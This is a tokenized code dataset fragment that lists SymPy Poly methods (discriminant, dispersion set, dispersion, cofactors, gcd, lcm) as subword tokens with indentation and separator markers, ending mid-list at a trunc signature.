"\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ",_", "remove_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "discr", "imina", "nt_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Compute", "s", " ", "the", " ", "discr", "imina", "nt", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "2", "*", "x", " ", "+", " ", "3", ",", " ", "x", ").", "discr", "imina", "nt", "()", "\\", "10", ";", " ", " ", " ", " ", "-", "8", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "discr", "imina", "nt", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "discr", "imina", "nt_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "discr", "imina", "nt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ",_", "remove_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dispersion", "set_", "(_", "f_", ",_", "g_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r", "\"\"\"", "Compute", " ", "the", " ", "*", "dispersion", " ", "set", "*", " ", "of", " ", "two", " ", "polynomial", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "two", " ", "polynomial", "s", " ", "`", "f", "(", "x", ")`", " ", "and", " ", "`", "g", "(", "x", ")`", " ", "with", " ", "`", "\\\\", "deg", " ", "f", " ", ">", " ", "0", "`", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "`", "\\\\", "deg", " ", "g", " ", ">", " ", "0", "`", " ", "the", " ", "dispersion", " ", "set", " ", "`", "\\\\", "opera", "torn", "ame", "{", "J", "}(", "f", ",", " ", "g", ")`", " ", "is", " ", "defin", "ed", " ", "as", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "math", "::", "\\", "10", ";", " ", " ", " ", " ", "\\\\", "opera", "torn", "ame", "{", "J", "}(", "f", ",", " ", "g", ")", "\\", "10", ";", " ", " ", " ", " ", "&", " ", ":", "=", " ", "\\\\{", "a", " ", "\\\\", "in", " ", "\\\\", "math", "bb", "{", "N", "}\\u", "0", " ", "|", " ", "\\\\", "gc", "d", "(", "f", "(", "x", "),", " ", "g", "(", "x", "+", "a", "))", " ", "\\\\", "neq", " ", "1", "\\\\}", " ", "\\\\\\\\", "\\", "10", ";", " ", " ", " ", " ", "&", " ", " ", "=", " ", "\\\\{", "a", " ", "\\\\", "in", " ", "\\\\", "math", "bb", "{", "N", "}\\u", "0", " ", "|", " ", "\\\\", "deg", " ", "\\\\", "gc", "d", "(", "f", "(", "x", "),", " ", "g", "(", "x", "+", "a", "))", " ", "\\\\", "ge", "q", " ", "1", "\\\\}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "a", " ", "single", " ", "polynomial", " ", "one", " ", "defin", "es", " ", "`", "\\\\", "opera", "torn", "ame", "{", "J", "}(", "f", ")", " ", ":", "=", " ", "\\\\", "opera", "torn", "ame", "{", "J", "}(", "f", ",", " ", "f", ")`", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "polys", ".", "dispersion", " ", "import", " ", "dispersion", ",", " ", "dispersion", "set", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Disp", "ersi", "on", " ", "set", " ", "and", " ", "dispersion", " ", "of", " ", "a", " ", "simple", " ", "polynomial", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "fp", " ", "=", " ", "poly", "((", "x", " ", "-", " ", "3", ")*", "(", "x", " ", "+", " ", "3", "),", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "fp", "))\\", "10", ";", " ", " ", " ", " ", "[", "0", ",", " ", "6", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "dispersion", "(", "fp", ")", "\\", "10", ";", " ", " ", " ", " ", "6", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "the", " ", "definit", "ion", " ", "of", " ", "the", " ", "dispersion", " ", "is", " ", "not", " ", "symmetric", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "fp", " ", "=", " ", "poly", "(", "x", "**", "4", " ", "-", " ", "3", "*", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "gp", " ", "=", " ", "fp", ".", "shift", "(-", "3", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "fp", ",", " ", "gp", "))\\", "10", ";", " ", " ", " ", " ", "[", "2", ",", " ", "3", ",", " ", "4", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "dispersion", "(", "fp", ",", " ", "gp", ")", "\\", "10", ";", " ", " ", " ", " ", "4", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "gp", ",", " ", "fp", "))\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "dispersion", "(", "gp", ",", " ", "fp", ")", "\\", "10", ";", " ", " ", " ", " ", "-", "oo", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Comp", "uti", "ng", " ", "the", " ", "dispersion", " ", "als", "o", " ", "works", " ", "over", " ", "field", " ", "extensi", "ons", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "sqrt", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "fp", " ", "=", " ", "poly", "(", "x", "**", "2", " ", "+", " ", "sqrt", "(", "5", ")*", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "<", "sqrt", "(", "5", ")>", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "gp", " ", "=", " ", "poly", "(", "x", "**", "2", " ", "+", " ", "(", "2", " ", "+", " ", "sqrt", "(", "5", "))", "*", "x", " ", "+", " ", "sqrt", "(", "5", "),", " ", "x", ",", " ", "domain", "='", "QQ", "<", "sqrt", "(", "5", ")>", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "fp", ",", " ", "gp", "))\\", "10", ";", " ", " ", " ", " ", "[", "2", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "gp", ",", " ", "fp", "))\\", "10", ";", " ", " ", " ", " ", "[", "1", ",", " ", "4", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "We", " ", "can", " ", "even", " ", "perform", " ", "the", " ", "computation", "s", " ", "for", " ", "polynomial", "s", "\\", "10", ";", " ", " ", " ", " ", "hav", "ing", " ", "symbolic", " ", "coefficient", "s", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "a", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "fp", " ", "=", " ", "poly", "(", "4", "*", "x", "**", "4", " ", "+", " ", "(", "4", "*", "a", " ", "+", " ", "8", ")*", "x", "**", "3", " ", "+", " ", "(", "a", "**", "2", " ", "+", " ", "6", "*", "a", " ", "+", " ", "4", ")*", "x", "**", "2", " ", "+", " ", "(", "a", "**", "2", " ", "+", " ", "2", "*", "a", ")*", "x", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "fp", "))\\", "10", ";", " ", " ", " ", " ", "[", "0", ",", " ", "1", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "dispersion", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Reference", "s", "\\", "10", ";", " ", " ", " ", " ", "=========", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "1", ".", " ", "[", "Man", "Wr", "ight", "9", "4", "]\\u", "\\", "10", ";", " ", " ", " ", " ", "2", ".", " ", "[", "Ko", "ep", "f9", "8", "]\\u", "\\", "10", ";", " ", " ", " ", " ", "3", ".", " ", "[", "Abr", "amo", "v", "7", "1", "]\\u", "\\", "10", ";", " ", " ", " ", " ", "4", ".", " ", "[", "Man", "9", "3", "]\\u", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "polys", "_", "._", "dispersion", "_", "import_", "dispersion", "set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "dispersion", "set_", "(_", "f_", ",_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dispersion", "_", "(_", "f_", ",_", "g_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r", "\"\"\"", "Compute", " ", "the", " ", "*", "dispersion", "*", " ", "of", " ", "polynomial", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "two", " ", "polynomial", "s", " ", "`", "f", "(", "x", ")`", " ", "and", " ", "`", "g", "(", "x", ")`", " ", "with", " ", "`", "\\\\", "deg", " ", "f", " ", ">", " ", "0", "`", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "`", "\\\\", "deg", " ", "g", " ", ">", " ", "0", "`", " ", "the", " ", "dispersion", " ", "`", "\\\\", "opera", "torn", "ame", "{", "dis", "}(", "f", ",", " ", "g", ")`", " ", "is", " ", "defin", "ed", " ", "as", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "math", "::", "\\", "10", ";", " ", " ", " ", " ", "\\\\", "opera", "torn", "ame", "{", "dis", "}(", "f", ",", " ", "g", ")", "\\", "10", ";", " ", " ", " ", " ", "&", " ", ":", "=", " ", "\\\\", "max", "\\\\{", " ", "J", "(", "f", ",", "g", ")", " ", "\\\\", "cup", " ", "\\\\{", "0", "\\\\}", " ", "\\\\}", " ", "\\\\\\\\", "\\", "10", ";", " ", " ", " ", " ", "&", " ", " ", "=", " ", "\\\\", "max", "\\\\{", " ", "\\\\{", "a", " ", "\\\\", "in", " ", "\\\\", "math", "bb", "{", "N", "}", " ", "|", " ", "\\\\", "gc", "d", "(", "f", "(", "x", "),", " ", "g", "(", "x", "+", "a", "))", " ", "\\\\", "neq", " ", "1", "\\\\}", " ", "\\\\", "cup", " ", "\\\\{", "0", "\\\\}", " ", "\\\\}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "for", " ", "a", " ", "single", " ", "polynomial", " ", "`", "\\\\", "opera", "torn", "ame", "{", "dis", "}(", "f", ")", " ", ":", "=", " ", "\\\\", "opera", "torn", "ame", "{", "dis", "}(", "f", ",", " ", "f", ")`", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "polys", ".", "dispersion", " ", "import", " ", "dispersion", ",", " ", "dispersion", "set", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Disp", "ersi", "on", " ", "set", " ", "and", " ", "dispersion", " ", "of", " ", "a", " ", "simple", " ", "polynomial", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "fp", " ", "=", " ", "poly", "((", "x", " ", "-", " ", "3", ")*", "(", "x", " ", "+", " ", "3", "),", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "fp", "))\\", "10", ";", " ", " ", " ", " ", "[", "0", ",", " ", "6", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "dispersion", "(", "fp", ")", "\\", "10", ";", " ", " ", " ", " ", "6", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "the", " ", "definit", "ion", " ", "of", " ", "the", " ", "dispersion", " ", "is", " ", "not", " ", "symmetric", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "fp", " ", "=", " ", "poly", "(", "x", "**", "4", " ", "-", " ", "3", "*", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "gp", " ", "=", " ", "fp", ".", "shift", "(-", "3", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "fp", ",", " ", "gp", "))\\", "10", ";", " ", " ", " ", " ", "[", "2", ",", " ", "3", ",", " ", "4", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "dispersion", "(", "fp", ",", " ", "gp", ")", "\\", "10", ";", " ", " ", " ", " ", "4", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "gp", ",", " ", "fp", "))\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "dispersion", "(", "gp", ",", " ", "fp", ")", "\\", "10", ";", " ", " ", " ", " ", "-", "oo", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Comp", "uti", "ng", " ", "the", " ", "dispersion", " ", "als", "o", " ", "works", " ", "over", " ", "field", " ", "extensi", "ons", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "sqrt", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "fp", " ", "=", " ", "poly", "(", "x", "**", "2", " ", "+", " ", "sqrt", "(", "5", ")*", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "QQ", "<", "sqrt", "(", "5", ")>", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "gp", " ", "=", " ", "poly", "(", "x", "**", "2", " ", "+", " ", "(", "2", " ", "+", " ", "sqrt", "(", "5", "))", "*", "x", " ", "+", " ", "sqrt", "(", "5", "),", " ", "x", ",", " ", "domain", "='", "QQ", "<", "sqrt", "(", "5", ")>", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "fp", ",", " ", "gp", "))\\", "10", ";", " ", " ", " ", " ", "[", "2", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "gp", ",", " ", "fp", "))\\", "10", ";", " ", " ", " ", " ", "[", "1", ",", " ", "4", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "We", " ", "can", " ", "even", " ", "perform", " ", "the", " ", "computation", "s", " ", "for", " ", "polynomial", "s", "\\", "10", ";", " ", " ", " ", " ", "hav", "ing", " ", "symbolic", " ", "coefficient", "s", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "a", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "fp", " ", "=", " ", "poly", "(", "4", "*", "x", "**", "4", " ", "+", " ", "(", "4", "*", "a", " ", "+", " ", "8", ")*", "x", "**", "3", " ", "+", " ", "(", "a", "**", "2", " ", "+", " ", "6", "*", "a", " ", "+", " ", "4", ")*", "x", "**", "2", " ", "+", " ", "(", "a", "**", "2", " ", "+", " ", "2", "*", "a", ")*", "x", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "dispersion", "set", "(", "fp", "))\\", "10", ";", " ", " ", " ", " ", "[", "0", ",", " ", "1", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "dispersion", "set", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Reference", "s", "\\", "10", ";", " ", " ", " ", " ", "=========", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "1", ".", " ", "[", "Man", "Wr", "ight", "9", "4", "]\\u", "\\", "10", ";", " ", " ", " ", " ", "2", ".", " ", "[", "Ko", "ep", "f9", "8", "]\\u", "\\", "10", ";", " ", " ", " ", " ", "3", ".", " ", "[", "Abr", "amo", "v", "7", "1", "]\\u", "\\", "10", ";", " ", " ", " ", " ", "4", ".", " ", "[", "Man", "9", "3", "]\\u", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sympy_", "._", "polys", "_", "._", "dispersion", "_", "import_", "dispersion", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "dispersion", "_", "(_", "f_", ",_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cof", "actors_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "GC", "D", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``", " ", "and", " ", "thei", "r", " ", "cof", "actors", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "polynomial", "s", " ", "``", "(", "h", ",", " ", "cff", ",", " ", "cfg", ")`", "`", " ", "suc", "h", " ", "tha", "t", " ", "``", "h", " ", "=", " ", "gc", "d", "(", "f", ",", " ", "g", ")`", "`", ",", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "``", "cff", " ", "=", " ", "quo", "(", "f", ",", " ", "h", ")`", "`", " ", "and", " ", "``", "cfg", " ", "=", " ", "quo", "(", "g", ",", " ", "h", ")`", "`", " ", "are", ",", " ", "so", " ", "call", "ed", ",", " ", "cof", "actors", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "cof", "actors", "(", "Poly", "(", "x", "**", "2", " ", "-", " ", "3", "*", "x", " ", "+", " ", "2", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "(", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", "\\", "10", ";", " ", " ", " ", " ", " ", "Poly", "(", "x", " ", "-", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "cof", "actors", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "h_", ",_", "cff", "_", ",_", "cfg_", "=_", "F_", "._", "cof", "actors_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "cof", "actors", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "h_", ")_", ",_", "per_", "(_", "cff", "_", ")_", ",_", "per_", "(_", "cfg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "gcd_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "polynomial", " ", "GC", "D", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "gc", "d", "(", "Poly", "(", "x", "**", "2", " ", "-", " ", "3", "*", "x", " ", "+", " ", "2", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "gc", "d", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "gcd_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "gc", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "lcm", "_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "polynomial", " ", "LC", "M", " ", "of", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "lcm", "(", "Poly", "(", "x", "**", "2", " ", "-", " ", "3", "*", "x", " ", "+", " ", "2", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "3", " ", "-", " ", "2", "*", "x", "**", "2", " ", "-", " ", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "lcm", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "lcm", "_", "(_", "G_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "lcm", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "trunc", "_", "(_", "f_", ",_", "p_", ")_", ":_", 